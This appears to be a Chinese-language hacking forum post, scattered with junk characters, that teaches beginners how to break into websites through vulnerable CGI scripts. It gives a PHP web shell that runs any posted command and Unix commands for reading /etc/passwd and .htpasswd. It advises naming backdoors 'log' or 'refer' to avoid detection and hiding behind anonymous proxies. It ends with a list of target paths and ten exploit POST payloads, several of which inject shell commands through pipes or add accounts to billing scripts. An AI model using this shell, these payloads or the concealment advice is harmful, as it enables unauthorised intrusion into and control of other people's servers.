CGI 脚本入侵快速上手+脚本使用方法

admin

CGI 脚本入侵快速上手+脚本使用方法
* k- R9 z* p6 w9 \/ Z+ |大家好 我是bboyhip  只是一名菜菜的exploiter
% F, i9 I! m/ r很开心来到贵论坛
' J' l2 [9 K/ ?( \/ T这里让我感觉 很有技术交流的感觉
  f1 M) |$ Y2 O  b5 ?9 p( P我会长长来玩的
" e  m4 X2 V" z3 E3 B; }. @; `- p9 ^前言:
以下讲解针对欧美日本网站
, D2 j; e. d- c4 u5 ?" H1 ?* _當我們在做滲透分析的時候 方法有很多
: \& d; t) D  C3 g( R8 Z5 d我门都知道 国外伺服器大多是linux 平台
; ]" a% T/ v, ^7 J' K所以有很多网站程序有6成都会使用cgi 脚本来管理
目录为/cgi-bin/

只是个人在实务上一些经验
写的不好 请多多见谅喔
在这里我简单分为几个部份一定要會的
8 Q+ C( T& O/ g6 m3 b6 U" S4 f讲解一下
让没有基础的人很容易上手

以下内容跟帖回复才能看到
: s" |* Y/ x4 T==============================

) ^" `. Q. a' j第1部份: 何谓Shell?
5 l$ V! T; A& {: r7 G, j: i. m- QShell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:
6 d5 s" W6 N( X2 ?# _2 R5 |3 o  ?3 LA shell is the program which reads user input from the command line and executes actions based upon that input.
意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.

, \( b/ d* v1 p+ k6 Q对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  
要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.
# K+ Z+ u4 k+ I: ]; s
第2部份: Unix 指令
6 M. q( ?. B+ H$ Q3 c2 @* M- c以下是一些常见及重要的指令:
pwd: 显示当前目录, 即是後门/程式所在的位置
如 /home/www/site.com/cgi-bin/
+ S+ ?! l! @$ {( Uls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
ls -al :详细列出档案资料(当前目录)
ls /: 列出根目录
0 x, X! r8 t7 U# e1 }0 l, Lls /etc: 列出/etc的资料夹及档案
& g( n* d; ]. A5 B! o0 h3 P4 xls ../ -al: 详细列出上一层的资料夹及档案
cat: 显示档案内容
cat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
+ }: `  x. t/ d. gwho: 显示谁login 至系统
: O7 U9 j" F9 b- m9 R  ]8 S8 zman: 显示指令用法  
man ls: 显示ls这指令的用法  
mkdir 建立目录
, C1 t# ^! F3 F9 P; p- Jrmdir 删除目录
mv 移动档案
rm 删除档案

第3部份: Shell的使用
例如:
  y$ ^1 v6 F5 P3 ahttp://site.com/refer.php
* w* ?: c+ j. r+ a5 F( I这是我的後门, 原代码如下:
<Form Action="#" Method="POST">
. f, y+ X( e5 g" k. @; o<Input type="text" name="cmd">
<Input type="Submit">
</Form>
<?php
* s5 ~. f' u( n6 {& @$cmd = $_POST['cmd'];
0 T6 X$ l1 [: X! _  Q7 Z$Output = shell_exec($cmd);
echo $Output;
/ |9 E+ j+ Z& G, [?>
输入pwd, 可得到绝对路径:
8 p8 S: w7 `. c! E' ?2 ~  E; x2 `/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com
3 U. _9 o# h: d/ Y6 n$ W% s
& P2 I7 Y) i0 G% c0 ~& k第4部份: 注意事项
- 使用匿名代理, 保障自己
- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
5 @( w6 Q( w6 t. a8 h7 D- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
! u& B0 r# \: N5 B# ^- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
  p0 \: }, }& ~. k- @不容易被发现.
- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
( |1 Z* m9 a/ P针对网站的渗透分析方法太多了
7 q3 U: b% T  i0 p* ~这篇文章的重点是cgi 脚本攻击
+ V/ Z& R8 {$ ~+ C: W  ~所以我用简单的叙述形容
开始讲解脚本入侵过程:
: S3 d( l, k" D8 K$ w) G在这里提供一些方法思路让大家学习一下

1.一开始对一个网站进行cgi漏洞扫描
* ]4 A# x/ e6 {9 O2 I' Y1 m我们需要的东西有
/ H- _' R: p6 I4 A扫洞工具 如:triton..等等
) x' ~4 p0 X$ M9 o' C. w  D6 g( VE表
如
( K/ F4 ?4 B' ]: E8 S1 s6 U/cgi-bin/add-passwd.cgi
/WebShop/templates/cc.txt
/Admin_files/order.log
/orders/mountain.cfg
/cgi-sys/cart.pl
/scripts/cart.pl
/htbin/cart.pl
E表来源可以是网路收寻或是自己的0 day

2.怎样确认扫到的洞 是真的还假的?
8 c0 n+ s$ ?" m$ T: H举例: target: http://www.site.com/cgi-bin/add-passwd.cgi
一般都是在IE里先看一下的,记住这个返回码哦
, X* Y! X, M) X0 G: {+ VERROR:This script should be referenced with a METHOD of POST.
没有返回一定是假的
6 o) j* r2 f* O4 j3.重来来了 很多人都会问我
+ T  _+ l  d0 a# t8 s" J, t他扫到很多洞 但是不会使用
4 n* x( H2 s$ [& p* W因为这些漏洞 使用的语法 称为post
9 @5 l5 |9 y* e我们要找post 的方法很多
可以是源代码分析 找出介质
或是用抓包工具 抓他的语法...等等
: m5 ~& F9 F1 Z" {5 C/ D
0 B2 F+ r) ]: t9 b0 G* R以下我提供10个 cgi 洞以及使用方法post
, ?) D6 E+ H5 g7 I让大家可以针对网站去做扫描  
7 j, S0 Z$ N" U- G7 U" S- M/ F, ^/index.cgi
wei=ren&gen=command
- v4 h1 r1 ^* t/passmaster.cgi
+ A6 \) t: [# IAction=Add&Username=Username&Password=Password
& L  Q2 ?6 D3 W& t3 ?/accountcreate.cgi
* c4 F5 T8 v/ x5 c9 husername=username&password=password&ref1=|echo;ls|
/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|
/ v! {( z9 l. Q3 n. }, Z/addusr.pl
# W& b4 g& X" }* A1 Q+ R, T6 Y- y0 ?/ F/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password
% q5 v& d1 I8 X7 A8 c/ccbill-local.asp
( g- c% Y" {" upost_values=username:password
/count.cgi
4 p5 R3 M/ P( e! i" \+ X5 {pinfile=|echo;ls -la;exit|
% _5 u* m5 y8 B- Q/ N, e# r. B: X/recon.cgi
/recon.cgi?search
5 D& R$ r$ {5 A6 O: Wsearchoption=1&searchfor=|echo;ls -al;exit|
- }% l+ D" [5 s: @9 N2 N) [/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>
$ N& x. B# W/ _/ H3 {  Z/af.cgi_browser_out=|echo;ls -la;exit;|

今天就讲到这  感谢大家支持